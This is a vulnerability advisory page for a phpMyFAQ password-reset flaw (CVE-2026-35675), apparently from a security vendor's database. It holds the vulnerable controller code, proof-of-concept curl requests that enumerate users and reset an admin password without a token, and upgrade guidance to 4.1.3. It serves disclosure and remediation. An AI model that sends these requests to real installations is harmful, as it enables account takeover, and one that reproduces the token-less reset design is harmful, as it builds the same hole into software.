Summary
phpMyFAQ: Missing Password Reset Token Allows Account Takeover via Username/Email Enumeration
An authentication bypass vulnerability in phpMyFAQ allows any unauthenticated attacker to reset the password of any user account, including SuperAdmin accounts. By sending a PUT request with just a valid username and associated email address to /api/user/password/update, an attacker receives a new plaintext password via email without any token verification, rate limiting, or email confirmation. This enables complete account takeover of any user, including full administrative access.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/UnauthorizedUserController.php
Lines: 56-130
The updatePassword() method at line 56 accepts PUT requests to /user/password/update with only username and email in the JSON body:
#[Route(path: 'user/password/update', name: 'api.private.user.password', methods: ['PUT'])]
public function updatePassword(Request $request): JsonResponse
{
$data = json_decode($request->getContent());
$username = trim((string) Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS));
$email = trim((string) Filter::filterEmail($data->email));
if ($username !== '' && $username !== '0' && ($email !== '' && $email !== '0')) {
$user = ($this->currentUserFactory ?? CurrentUser::getCurrentUser(...))($this->configuration);
$loginExist = $user->getUserByLogin($username);
if ($loginExist && $email === $user->getUserData('email')) {
// NO TOKEN CHECK
// NO RATE LIMITING
// NO EMAIL VERIFICATION
$newPassword = $user->createPassword();
$user->changePassword($newPassword);
$mail->send(); // New password sent in plaintext
}
}
}
Root Causes:
- No time-limited cryptographic token required for password reset
- No rate limiting on the endpoint (allows unlimited username/email enumeration)
- No verification email sent to original address before reset
- New password sent in plaintext email without any confirmation step
PoC
Prerequisites: None (unauthenticated attack)
Step 1 - Username/Email Enumeration (no rate limiting):
Test with wrong email - reveals if user exists
curl -X PUT -H "Content-Type: application/json" \
-d '{"username":"admin","email":"[email protected]"}' \
http://target/phpmyfaq/api/user/password/update
Response: {"error":"The email doesn't exist..."} <- user exists but wrong email
OR
Response: {"error":"The user doesn't exist"} <- user doesn't exist
Step 2 - Password Reset (no token required):
curl -X PUT -H "Content-Type: application/json" \
-d '{"username":"admin","email":"[email protected]"}' \
http://target/phpmyfaq/api/user/password/update
Response: {"success":"Email has been sent."}
The new plaintext password is sent to [email protected]
Step 3 - Account Takeover:
Attacker now has valid credentials and can log in as SuperAdmin.
Impact
Aspect Details
Vulnerability Type Authentication Bypass / Weak Password Recovery Mechanism (CWE-640)
Attack Vector Network (unauthenticated HTTP request)
Privileges Required None
User Interaction None
Scope Full administrative access to phpMyFAQ
Confidentiality High - attacker gains full access to all user data and FAQ content
Integrity High - attacker can modify all content and settings
Availability High - attacker can lock out legitimate users
Who is Impacted:
- All phpMyFAQ administrators using default installations
- Any organization using phpMyFAQ for internal knowledge bases
- End users whose accounts could be compromised
- Organizations relying on phpMyFAQ for customer support FAQs
Attack Complexity: Very Low - no special knowledge or conditions required beyond knowing/guessing a valid username and associated email address
CVE-2026-35675 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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thorsten/phpmyfaq to 4.1.3 or later; phpmyfaq/phpmyfaq to 4.1.3 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-35675? CVE-2026-35675 is a high-severity security vulnerability in thorsten/phpmyfaq (composer), affecting versions < 4.1.3. It is fixed in 4.1.3.
- How severe is CVE-2026-35675? CVE-2026-35675 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2026-35675?
thorsten/phpmyfaq(composer) (versions < 4.1.3)phpmyfaq/phpmyfaq(composer) (versions < 4.1.3)
- Is there a fix for CVE-2026-35675? Yes. CVE-2026-35675 is fixed in 4.1.3. Upgrade to this version or later.
- Is CVE-2026-35675 exploitable, and should I be worried? Whether CVE-2026-35675 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-35675 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-35675?
- Upgrade
thorsten/phpmyfaqto 4.1.3 or later - Upgrade
phpmyfaq/phpmyfaqto 4.1.3 or later
- Upgrade